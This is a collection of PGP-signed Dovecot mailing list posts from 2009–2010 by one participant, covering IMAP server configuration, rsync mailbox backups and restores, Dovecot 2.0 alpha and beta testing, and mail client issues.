-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 03/07/10 20:31: The problem is that your shell expands * to all files in the current directory, use '*' to avoid that. There is nothing doveadm can do about this. Silly me, apologies for the false bug report. Ciao, luigi - -- / +--[Luigi Rosa]-- \ How many Vulcans does it take to change a light bulb? Approximately 1.000 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkwwHuEACgkQ3kWu7Tfl6ZQ6zACeNYGBwAg2nQm1qzbcOM6Hn4u+ o9AAnj45VWLCZGf/sjUO483YTJVnTzz9 =nOHT -END PGP SIGNATURE-
Re: [Dovecot] Dovecot 2.0
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Thiago Henrique said the following on 14/06/10 19:50: Is there any estimate of when it will launch a stable release Dovecot 2.0 ? A professor of ancient greek language I once met used to say the future is in the womb of Jupiter :) Ciao, luigi - -- / +--[Luigi Rosa]-- \ Complex problems have simple, easy to understand, wrong answers. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkwWfPUACgkQ3kWu7Tfl6ZS7FwCffVq4AjLtNHotdMsHP4MXwCYS FJIAnjyOpxQ3m4HnPGqHuJCwJgsmCU9A =xCqp -END PGP SIGNATURE-
Re: [Dovecot] v2.0.beta5 released - Proctitle
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 09/05/10 21:27: http://dovecot.org/releases/2.0/beta/dovecot-2.0.beta5.tar.gz http://dovecot.org/releases/2.0/beta/dovecot-2.0.beta5.tar.gz.sig I don't know if it is an issue linked to the 2.0 proctitle or what else because I just enabled ssl feature of Dovecot. That said, I am running 2.0B5 in a CentOS 5.4 64 bit. When I have three IMAP user connected via SSL I have this IMAP processes: 27258 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27259 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27263 ?S 0:00 dovecot/imap [...@a 10.x.x.1 IDLE] 27265 ?S 0:00 dovecot/imap [...@a 10.x.x.1 IDLE] 27266 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27267 ?S 0:00 dovecot/imap [...@a 10.x.x.1] 27717 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27719 ?S 0:00 dovecot/imap [...@b 10.x.x.1 IDLE] 27720 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27721 ?S 0:00 dovecot/imap [...@b 10.x.x.1 IDLE] 27722 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27723 ?S 0:00 dovecot/imap [...@c 10.x.x.1 IDLE] 27726 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27727 ?S 0:00 dovecot/imap [...@a 10.x.x.1 IDLE] 27748 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27749 ?S 0:00 dovecot/imap [...@b 10.x.x.1] 27750 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27751 ?S 0:00 dovecot/imap [...@b 10.x.x.1 IDLE] 27752 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27753 ?S 0:00 dovecot/imap [...@b 10.x.x.1 IDLE] 27754 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27755 ?S 0:00 dovecot/imap [...@b 10.x.x.1 IDLE] 27760 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27761 ?S 0:00 dovecot/imap [...@c 10.x.x.1] 27762 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27763 ?S 0:00 dovecot/imap [...@c 10.x.x.1 IDLE] 27764 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27765 ?S 0:00 dovecot/imap [...@c 10.x.x.1 IDLE] 27779 ?S 0:00 dovecot/imap-login [1 connections (1 TLS)] 27780 ?S 0:00 dovecot/imap [...@c 10.x.x.1 IDLE] Isn't there a way to see if a dovecot/imap [...@c 10.x.x.1 IDLE] connection is ssl other that looking at the parent process? Ciao, luigi - -- / +--[Luigi Rosa]-- \ Luke: I don't believe it. Yoda: That is why you fail. --Empire Strikes Back -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkvoOfQACgkQ3kWu7Tfl6ZQmWwCghHgAQC449wqiHJFPpsURzx7v 6dYAnRyLtjEj92unMTbjTsY0HFjnOrXk =+NgJ -END PGP SIGNATURE-
[Dovecot] Dovecot+Postfix+Maildir with ActiveDirectory userbase
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi, has anyone implemented a mail server with maildir, Postfix and Dovecot using Active Directory ad userbase and password authentication? Do I need Samba to authenticate users? Can I use credential caching just like mysql? Ciao, luigi - -- / +--[Luigi Rosa]-- \ This morning at breakfast, I noticed that Kellogg's have put a helpline number on their cornflake packets. When you need a helpline for breakfast cereals, it's time to start thinking about tearing down civilisation and giving the ants a go. --Chris King -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkt2wGAACgkQ3kWu7Tfl6ZR3qQCgv7+smY1v1YY3OAK+A2lH/adr JtIAoIU+yd9zecP+iKoSxOAyaZJLnRfR =KnFa -END PGP SIGNATURE-
Re: [Dovecot] Anyone successfully setup Continous Backup of mailboxes using rsync ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CoolAtt NNA said the following on 02/02/10 08:02: Am thinking about the following files: dovecot.index dovecot.index.cache dovecot.index.log maildirsize subscriptions dovecot-uidlist Will they affect the restore process ?? Based on some experience, if you remove dovecot-uidlist AND the user uses POP3 AND the user leaves mail on server, the mail client could download the messages again because it sees them as unread. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Computers don't actually think. You just think they think. (We think.) -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktnz3EACgkQ3kWu7Tfl6ZQRmgCeI2NJ8Zu9wDsnNK0Qirw4NBEo LJYAoMImNr0Ni/cgt7VQcYCyW4+NuzEA =1MO/ -END PGP SIGNATURE-
Re: [Dovecot] Anyone successfully setup Continous Backup of mailboxes using rsync ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CoolAtt NNA said the following on 02/02/10 08:36: luigi, can you tell me what will happen if I create a directory in a user's mailbox and restore some emails there. now if the user's quota is x mb after restoration the mailbox becomes greater than x mb. will this cause any prob ? Unfortunately I do not have any experience with quota. I think that this scenario is like a situation where an external program (or a MTA) creates files in the maildir structure without using Dovecot API interface. I think that Dovecot sees the directory change and updates the quota data, but it's just a guess. Ciao, luigi - -- / +--[Luigi Rosa]-- \ A cynic is a man who, when he smells flowers, looks around for a coffin. --H.L. Mencken -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktn12kACgkQ3kWu7Tfl6ZRAZgCeJIGzAXapzXt6DicafmW3MzPx yMQAn2u8GTjcQrGCBw94YcQBoSrG6Ukk =aqUw -END PGP SIGNATURE-
Re: [Dovecot] Anyone successfully setup Continous Backup of mailboxes using rsync ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CoolAtt NNA said the following on 29/01/10 06:21: rsync -avt --log-file=$log_file /home/vmail/ 10.0.0.x:/home/vmail I run it in a script for e,g every 1 min. By doing so if an email is deleted on the live server it still remain on the backup server. Then I give each mail file a retention period of n days so that it automatically gets deleted from the backup server. I use a similar strategy, with a more relaxed synchronization. But instead of setting an expire on backup system, I simply do a rsync --del every night. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Oo-ta goo-ta, Solo? --Greedo, Star Wars -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktidI8ACgkQ3kWu7Tfl6ZRfEACfRfJR4z99TIEgylKSywVAa4px l1kAnRA6xyigbYl+BVZoi6d5Vi5/n4Yk =f8lP -END PGP SIGNATURE-
Re: [Dovecot] Anyone successfully setup Continous Backup of mailboxes using rsync ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 29/01/10 06:48: The main potential problem with that is that if a message's flag is changed, the filename changes so it's now stored twice in the backup server. So when restoring mails, be sure not to restore duplicates. Using a different dedicated directory for restored messages could lead to the same problem? Ciao, luigi - -- / +--[Luigi Rosa]-- \ Dr. Frederick Frankenstein: What a filthy job. Igor: Could be worse. Dr. Frederick Frankenstein: How? Igor: Could be raining. --Young Frankenstein -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktieNIACgkQ3kWu7Tfl6ZT4CgCgx47smwd+UkL+UsgeAviqj6pq UacAmwa/Fy4zF6FTUc6MoWxvDAorzk2q =xnhw -END PGP SIGNATURE-
Re: [Dovecot] Anyone successfully setup Continous Backup of mailboxes using rsync ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CoolAtt NNA said the following on 29/01/10 07:18: It means if I create a new mailbox and I restore the emails at mail level(individual files) ,will it work correctly? And if I restore the same mail to an existing mailbox ?? Not a new mailbox, a new mail folder (maildir directory) of the actual account. I am assuming you are using IMAP ad maildir, of course. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Scott me up, Beamie! -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktifjUACgkQ3kWu7Tfl6ZQalACfaEsS0ME6ab27uks49W6ERj59 yAcAnRDmaN3ZCKAEzJrK41CjZK28B3aT =O5hj -END PGP SIGNATURE-
Re: [Dovecot] Anyone successfully setup Continous Backup of mailboxes using rsync ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CoolAtt NNA said the following on 29/01/10 07:39: Create a new folder like the following ?? vmail/coolatt/Maildir/restored-emails Actually vmail/coolatt/Maildir/.restored-emails would be better :) Done that, you copy from the folder to be restored cur, tmp, new. Some email clients need to shutdown and restart to be aware of the new mail folder. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Moneypenny: In the conference room. Something pretty big. Every double-o man in Europe has been rushed in. And the home secretary too! James Bond: His wife probably lost her dog. --007 Thunderball -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktihLQACgkQ3kWu7Tfl6ZSMzQCghKGCWeqflRH4SatM/YItp3HG Ba0AoMFM4CVAdHtvsjNv7k0FLWFeYlw+ =6eIt -END PGP SIGNATURE-
Re: [Dovecot] Dovecot 1.2 Thunderbird 3.0
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 David Halik said the following on 23/01/10 21:51: Seems everyone is starting to notice this now. :) Yes, there are several flaws and bug reports open with Mozilla on broken behavior with TB 3.0 and TB 3.0.1. Currently the easiest fix is to turn off CONDSTOR either server side or in TB itself. There is also a TB 3.0.2pre nightly available that seems to be working for most people. I was thinking that this was a problem of *my* TB installation. Thank you for poiting out the solution: it works. Ciao, luigi - -- / +--[Luigi Rosa]-- \ When you become obsessed with the enemy, you become the enemy. --Jeffrey Sinclair, Infection, Babylon 5 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktb2R0ACgkQ3kWu7Tfl6ZTZXACgiVYxwi6SK688RnMbC4MiAe/C SlgAoLOWlukaQT6q+e1VzfkzDvnlb7qj =sfWB -END PGP SIGNATURE-
Re: [Dovecot] Moving
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 03/01/10 12:43: New York City and New Zealand would be interesting, but I don't know of any interesting companies in them. Especially ones that would be interested in paying for Dovecot development. You can check http://jobs.joelonsoftware.com/ Joel Spolsky is a software developer in NY area. Ciao, luigi - -- / +--[Luigi Rosa]-- \ The Force will be with you. Always. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktAiQ4ACgkQ3kWu7Tfl6ZRnRACdGKk46S0U1dRPsdRP2gBqTPXT 578AmwSsjw5fPEgK8Xwx2yXpB+9r6wYH =c2xj -END PGP SIGNATURE-
[Dovecot] configure optimization
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Given a server with MySQL userdb/passwd and maildir storage, excluding unused storages and authentications in configure options does save some memory and/or speed or is it worthless? I mean, is there a performance difference between this two versions of configure parameters or is just a waste of time to exclude what is not used? ./configure --with-mysql --without-ssl --sysconfdir=/etc --localstatedir=/var ./configure --with-mysql --without-ssl --with-storages=maildir - --sysconfdir=/etc --localstatedir=/var --without-passwd --without-nss - --without-passwd-file --without-shadow --without-pam --without-ssl Thank you. Ciao, luigi - -- / +--[Luigi Rosa]-- \ I told the doctor I broke my leg in two places. He told me to quit going to those places. --Henny Youngman -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAks7YWkACgkQ3kWu7Tfl6ZReewCgw97USlBGkggJre49cGp/cgsd M/sAniVsEOISC2YKKXbivTKN//JwnZhs =GEk+ -END PGP SIGNATURE-
Re: [Dovecot] configure optimization
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 30/12/09 22:00: It's very close to worthless. I've actually removed some of those options from v2.0 (e.g. --without-passwd, --without-passwd-file). Thank you: I don't waste time to optimize what cannot be optimized in this way. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Xerox never comes up with anything original. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAks8MvgACgkQ3kWu7Tfl6ZTUZwCaArfcERFsvmGO0yWiKohgngwC H7gAni35WsLdxRynUlA/CirxQDZ+Q5WS =cnvf -END PGP SIGNATURE-
Re: [Dovecot] Log rotation?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Beto Moreno said the following on 28/12/09 08:02: I had read dovecot logging info, they say something about using log rotation to help us rotate our log, with this setup: With CentOS ad Dovecot logging via [r]syslog I simply add the dovecot logfile to the list of /etc/logrotate.d/syslog It works since Dovecot 0.6x :) Ciao, luigi - -- / +--[Luigi Rosa]-- \ If you always postpone pleasure you will never have it. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAks4WYEACgkQ3kWu7Tfl6ZTGYACdGi0v/Unp35QDjNrp6ksJQvcL NKIAoI5SGx+ervphXKTbMt6ceakuBEnc =8Oyr -END PGP SIGNATURE-
Re: [Dovecot] v2.0.alpha3 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 23/11/09 23:15: and given an /etc directory without any dovecot subdirectory (I moved it elsewere for testing purposes), is it ok that make install creates /etc/dovecot without any file in it, but copy the esxample configuration file only in /usr/local/share/doc/dovecot/ ? It's the intended behavior. Dunno if it's the best. Copying example config directly to /etc/dovecot/ doesn't seem such a good idea. It would be nice to put a text file like configuration files go here or something like that, or just no action at all. Or maybe a message at the end of make install procedure. Maybe it's me, but if I find an empty directory in /etc after an installation, the first think I think is that something went wrong. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Studio execs often come from different, non-mammalian evolutionary chains; I think squid rather than fish came onto land and evolved, mutated, and began running networks and studios and have kept this fact from us. --J. Michael Straczynski -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAksLcqAACgkQ3kWu7Tfl6ZSkuQCgxHLOSKq/rkURyF8QSCiI6k4a kaUAoKngIR74zirf3P4ep8/MKZPAtS7w =I/40 -END PGP SIGNATURE-
Re: [Dovecot] Core dumped
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 23/11/09 23:16: I guess you compiled SQL support as plugins. That's fixed in hg. You guessed right. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Of course you can't flap your arms and fly to the moon. After a while you'd run out of air to push against. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAksLcuQACgkQ3kWu7Tfl6ZR7DwCgvjCeY379xvgrWFqpUW/9x8kG TToAnimbaJUHEEusOWq4AUjkZbRV36mH =Gi8U -END PGP SIGNATURE-
Re: [Dovecot] [OT] preferred clients
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jerry said the following on 22/11/09 13:46: Of course this only applies to Microsoft Office 2010, a BETA of which is available at: I am very happy to know that Microsft acknowledged at dawn of 2010 that the limitation of personal storage is pointless. Ciao, luigi - -- / +--[Luigi Rosa]-- \ The prejudices people feel about each other disappear when they get to know each other. --James Kirk, Elaan of Troyius -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAksJPbkACgkQ3kWu7Tfl6ZREGACfVCmh3T3drTw7v/8ylPVRigOv NkkAn23TRLGSp9M+vcF7EqaX9F/g+0B1 =cTZt -END PGP SIGNATURE-
Re: [Dovecot] [OT] preferred clients
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Maarten Bezemer said the following on 22/11/09 17:19: [Of course, one could argue that they should make Outlook conform to standards instead, but since they never showed any interest in conforming to standards with any product, that would be naive. Even with Vista's Windows Mail they adopted something almost but not quite entirely unlike Maildir format. Still better than PST, true..] Thy did this for the same reason OSX moved to a (sort of) maildir for local storage: ability to do a fulltext search within mail and easily identify the message in the result list of the search. Ciao, luigi - -- / +--[Luigi Rosa]-- \ It is by will alone I set my mind in motion. It is by the juice of Sapho that thoughts acquire speed, the lips acquire stains. The stains become a warning. It is by will alone I set my mind in motion. --Mentat mantra, Frank Herbert, Dune -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAksJaugACgkQ3kWu7Tfl6ZSAGwCfXQcS+HLhOJtwSiYaYhH0caGC S74Ani2D/QM0d2Oxj8oHXNkO7EUyovlB =BIej -END PGP SIGNATURE-
Re: [Dovecot] [OT] preferred clients
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 vus...@test123.ru said the following on 22/11/09 18:19: Maildir just for FTS? OSX changed its local mail storage to simil-maildir when has been added Exposé. Ciao, luigi - -- / +--[Luigi Rosa]-- \ And on the eighth day, we bulldozed it. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAksJdAUACgkQ3kWu7Tfl6ZQT9ACfZgl8F+k9ZzfIofa33jeF/EHP sYkAnA5xKorO4oxqaLwvsupDJB21AAVQ =/EOx -END PGP SIGNATURE-
Re: [Dovecot] [OT] preferred clients
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Charles Marcus said the following on 22/11/09 20:25: They store them there because Microsft recommends against storing .PST files on network shareas... always have. Things can break really badly. If you store your PST on a file server and you make a backup of that server during the night, you can avoid buying an enterprise license of exchange. PST files are very bad: you cannot open them if they are stored on a read-only file system (cdrom o r/o network share). That said, I have heard some people claim they have been doing this for a long time and never gotten bit. A pair of customers do this for at least 10 years with no problem. Ciao, luigi - -- / +--[Luigi Rosa]-- \ God isn't dead, he just couldn't find a parking place. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAksJkXQACgkQ3kWu7Tfl6ZSJFgCffnNjHHa/hex7XE/pNIg0Xkou ydIAn1CnPvuTa2bb67s62YYHZrRoiKY4 =4YuL -END PGP SIGNATURE-
Re: [Dovecot] v2.0.alpha3 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 10/11/09 04:14: http://dovecot.org/releases/2.0/alpha/dovecot-2.0.alpha3.tar.gz http://dovecot.org/releases/2.0/alpha/dovecot-2.0.alpha3.tar.gz.sig Given this configure command line ./configure --with-mysql --with-ssl=openssl --sysconfdir=/etc --localstatedir=/var and given an /etc directory without any dovecot subdirectory (I moved it elsewere for testing purposes), is it ok that make install creates /etc/dovecot without any file in it, but copy the esxample configuration file only in /usr/local/share/doc/dovecot/ ? Ciao, luigi - -- / +--[Luigi Rosa]-- \ TAP: Take Another Plane -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkr+ZEEACgkQ3kWu7Tfl6ZRXTQCgm4wESB7bQbXakla/i5tvstV6 fZkAoJu1oDMOKy+QgrgVSALiZJXqXKrO =MwjG -END PGP SIGNATURE-
[Dovecot] Core dumped (was: v2.0.alpha3 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 10/11/09 04:14: http://dovecot.org/releases/2.0/alpha/dovecot-2.0.alpha3.tar.gz http://dovecot.org/releases/2.0/alpha/dovecot-2.0.alpha3.tar.gz.sig Yust ipgraded from A2 to A3 on a 64bit AMD CentOS machine with just 3 accounts (mine accounts) connected via 1 Gbit LAN. Client is Thunderbird 2 on Ubuntu 64. Installed and configured A3, fired up and activated the client. Everything was OK. After a couple of minute of idle, I got this: Nov 14 09:05:29 mail dovecot: master: service(auth-worker): child 12669 killed with signal 11 (core dumped) Nov 14 09:05:29 mail dovecot: master: service(auth-worker): child 12672 killed with signal 11 (core dumped) Nov 14 09:05:30 mail dovecot: master: service(auth-worker): child 12667 killed with signal 11 (core dumped) Cores are here: http://luigi rosa name/cores01 tgz (put three dots instead of three spaces) Ciao, luigi - -- / +--[Luigi Rosa]-- \ Murphy's Law is recursive. Washing your car to make it rain doesn't work. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkr+ZmIACgkQ3kWu7Tfl6ZRlEACdEqigl4IhVRgAc18ucKc9cZ8/ 6poAn3kJFA6CdkaDVDTrmscRANppB1K7 =AaQx -END PGP SIGNATURE-
Re: [Dovecot] v2.0.alpha3 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Pascal Volk said the following on 14/11/09 09:28: Yes it's OK. :-) What would happen, if `make install` would copy all the example files into $SYSCONFDIR/dovecot? It would overwrite your configuration files with the next `make install` command. My point if is that if the directory does not exist, it is quite useless to create it empty. Either you don't create it and leave the task to sysadmin, or if you create it, at least put some examples into it. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Q: And this, I'm particularly proud of - behind the headlights, stinger missiles! James Bond: Excellent, just the thing for unwinding after a rough day at the office. Q: Need I remind you, 007, that you have a license to kill, not to break traffic laws. --007 Goldeneye -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkr+bCIACgkQ3kWu7Tfl6ZSqrQCgzOAmJHHGtlXcCtgUCTeSBaOS L8kAn3mko7JFlTDTtGpXSj05Sb9gs5hO =HIiw -END PGP SIGNATURE-
Re: [Dovecot] backup using rsync
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Scott Murman said the following on 06/10/09 04:55: i'm trying to backup the dovecot Maildir files over a cifs share. source is a debian build, share is a readynas. i've been getting rsync: mkstemp 'filename goes here' failed: Not a directory (20) errors. rsync is v3.0. i believe this is related to the dovecot file naming convention that includes characters such as ':' in the filename. anyone else seeing similar behavior? a workaround? i can go to different backup strategies, but rsync is cheap and effective for my needs. thanks, The problem I encountered with cifs is that could not be compatible with unix permissions and sometimes also fails setting directory date/time When I backup on cifs either I use rsync and disable those features or I tar-gzip each mailbox and copy it. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Every absurdity has a champion who will defend it. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkrKuZsACgkQ3kWu7Tfl6ZR5NQCgrkeUMLgKjIICDKFw/wfgn67E NusAn0PrsU0rYOq0BVa9T4thyhbmUG3s =t0fr -END PGP SIGNATURE-
Re: [Dovecot] v2.0 configuration paths
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Julio C. Ortega said the following on 31/08/09 19:01: But if i got to choose only from the two that you listed, i'll go for option 2. IMHO the best solution is the Apache way: you can have either a monolithic httpd.conf file, or you can #include a single file, or you can #include a wildcard such as myconf/*.conf Ciao, luigi - -- / +--[Luigi Rosa]-- \ Go directly to jail. Do not pass Go, do not collect $200. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkqcA7UACgkQ3kWu7Tfl6ZTwHQCgkFjdZHbeHaYQGcwGHFc12/Sd ElAAniA4H0RVvc9JqEoS2EHppXUe5NPJ =hSOA -END PGP SIGNATURE-
Re: [Dovecot] Restoring backup?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Bjørn T Johansen said the following on 18/08/09 21:44: I have understood correctly when thinking that all I need to do in order to restore mails, is to just copy the old maildir folder to the location where mail_location is pointing to and dovecot will find all the mails and display the old mails? That's exactly what I do when I restore emails. Note that some mail clients need to restart in order to be aware of the restored mails. Ciao, luigi - -- / +--[Luigi Rosa]-- \ God runs electromagnetics by wave theory on Monday, Wednesday, and Friday, and the Devil runs them by quantum theory on Tuesday, Thursday, and Saturday. --William Bragg -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkqLCa4ACgkQ3kWu7Tfl6ZQ49ACfTpkzCaRmqOX8RVOujT4cZteu 0m0An3PWzCby4nxPJIJoosC1lT/kT5cT =s2BO -END PGP SIGNATURE-
[Dovecot] Sending log messages too fast
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 What does this error message means? IMAP(xx...@y.com): Sending log messages too fast, throttling.. It appeared twiche on the same user during a period when the server was very high on CPU load I don't know if it is related, but the user later told me that Thunderbird forced a reload of all the messages. Ciao, luigi - -- / +--[Luigi Rosa]-- \ It is not the strongest of the species that survives, nor the most intelligent, but the one most responsive to change. --Charles Darwin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkp4HOwACgkQ3kWu7Tfl6ZSIeACgrzXidrLIh783fr7DVFblfwc5 s/kAnAy5rztbmeqFt11uPGF0LVp6UBga =ZgWV -END PGP SIGNATURE-
[Dovecot] alias best practice
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Given a Linux mail server with Postfix+Dovecot using MySQL as userbase, a single Linux user for file system access, two mail domains configured (acme1.com acme2.com) and a maildir structure as follows \var\spool\mail\acme1.com- \user1 \user2 \user3 \var\spool\mail\acme2.com- \user1 \user2 \user3 I want that the mail of us...@acme1.com and us...@acme2.com goes in \var\spool\mail\acme1.com\user1 Note that there could be some users not equal between two domains. What is the best practice? 1) Alias at Postfix level 2) The same maildir path specified in MySQL record 3) ln -s between \var\spool\mail\acme1.com\user1 and \var\spool\mail\acme2.com\user1 4) Else? (Dovecot virtual mailbox) Thank you. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Blessed are they who Go Around in Circles, for they Shall be Known as Wheels. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkpOGf8ACgkQ3kWu7Tfl6ZTJ1ACgp52Fy7PbGpnU9pFnvVioNcFO OO8AoJRGG2UkyPXczR/bkAXqwjmVtpyL =Loje -END PGP SIGNATURE-
Re: [Dovecot] server is not imap4 compatible
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 marco ghidinelli said the following on 21/04/09 15:28: sometimes, the thunderbird clients on windows machines complains about: server is not imap4 compatible. Got same problem with a customer. After many tests I found a problem in the antivirus settings: the settings were too aggressive and made the connection with the server drop. Ciao, luigi - -- / +--[Luigi Rosa]-- \ God must love the common man; He made so many of them. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkntzJsACgkQ3kWu7Tfl6ZSryQCcCKlrZTQeKB05veYNtiIqN5v5 QQcAn1EW1avyA6326E/2VkgiDaJudIzw =L8Ww -END PGP SIGNATURE-